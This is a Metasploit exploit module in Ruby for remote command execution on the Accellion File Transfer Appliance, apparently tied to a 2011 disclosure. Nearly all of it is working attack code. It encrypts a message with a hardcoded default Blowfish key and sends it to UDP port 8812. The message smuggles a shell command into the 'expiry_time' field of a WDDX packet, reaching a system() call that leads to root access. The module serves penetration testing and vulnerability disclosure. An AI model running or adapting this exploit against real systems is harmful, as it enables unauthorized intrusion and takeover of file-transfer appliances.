Accellion FTA MPIPE2 Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'
require 'rexml/element'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Accellion FTA MPIPE2 Command Execution',
      'Description'    => %q{
          This module exploits a chain of vulnerabilities in the Accellion
        File Transfer appliance. This appliance exposes a UDP service on
        port 8812 that acts as a gateway to the internal communication bus.
        This service uses Blowfish encryption for authentication, but the
        appliance ships with two easy to guess default authentication keys.
        This module abuses the known default encryption keys to inject a
        message into the communication bus. In order to execute arbitrary
        commands on the remote appliance, a message is injected into the bus
        destined for the 'matchrep' service. This service exposes a function
        named 'insert_plugin_meta_info' which is vulnerable to an input
        validation flaw in a call to system(). This provides access to the
        'soggycat' user account, which has sudo privileges to run the
        primary admin tool as root. These two flaws are fixed in update
        version FTA_8_0_562.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '71362'],
          ['OSVDB', '71363'],
          ['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2011-02-07'
    ))

    register_options(
      [
        Opt::RPORT(8812),
        OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])
      ])
  end

  def exploit
    connect_udp

    appid = datastore['APPID']
    encoded_command = REXML::Text.new(payload.encoded).to_s

    wddx = %Q|
<wddxPacket version='1.0'>
<header/>
<data>
  <struct>
    <var name='50001'><string>insert_plugin_meta_info</string></var>
    <var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>
    <var name='aid'><string>#{appid}</string></var>
    <var name='client_ip'><string>127.0.0.1</string></var>
    <var name='package_id'><string>1</string></var>
    <var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>
    <var name='expiry_time'><string>&apos;; #{encoded_command}; #&apos;</string></var>
  </struct>
</data>
</wddxPacket>|

    packet = [
      rand(0xffffffff),	# Source Location ID
      8888,				# Destination Location ID
      rand(0xffff),		# Source Application
      50001,				# Destination Application (matchrep)
      Time.now.to_i
    ].pack("NNnnN") + wddx

    header = [
      0,		# Flags
      0,		#
      1,		# Sequence Number (must be the lowest seen from Source ID)
      33		# Execute (pass message to destination)
    ].pack("CCNC") + packet

    data = [ simple_checksum(header) ].pack("n") + header
    enc  = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)

    udp_sock.put("\x01" + enc)

    handler
    disconnect_udp
  end

  def simple_checksum(data)
    sum = 0
    data.unpack("C*").map{ |c| sum = (sum + c) & 0xffff }
    sum
  end

  #
  # This implements blowfish-cbc with an MD5-expanded 448-bit key
  # using RandomIV for the initial value.
  #
  def blowfish_encrypt(pass, data)

    # Forces 8-bit encoding
    pass = pass.unpack("C*").pack("C*")
    data = data.unpack("C*").pack("C*")

    # Use 448-bit keys with 8-byte IV
    key_len = 56
    iv_len  = 8

    # Expand the key with MD5 (key-generated-key mode)
    hash = OpenSSL::Digest::MD5.digest(pass)
    while (hash.length < key_len)
      hash << OpenSSL::Digest::MD5.digest(hash)
    end

    key = hash[0, key_len]
    iv  = Rex::Text.rand_text(iv_len)

    c = OpenSSL::Cipher.new('bf-cbc')
    c.encrypt
    c.key_len = key_len
    c.key     = key
    c.iv      = iv

    "RandomIV" + iv + c.update(data) + c.final
  end
end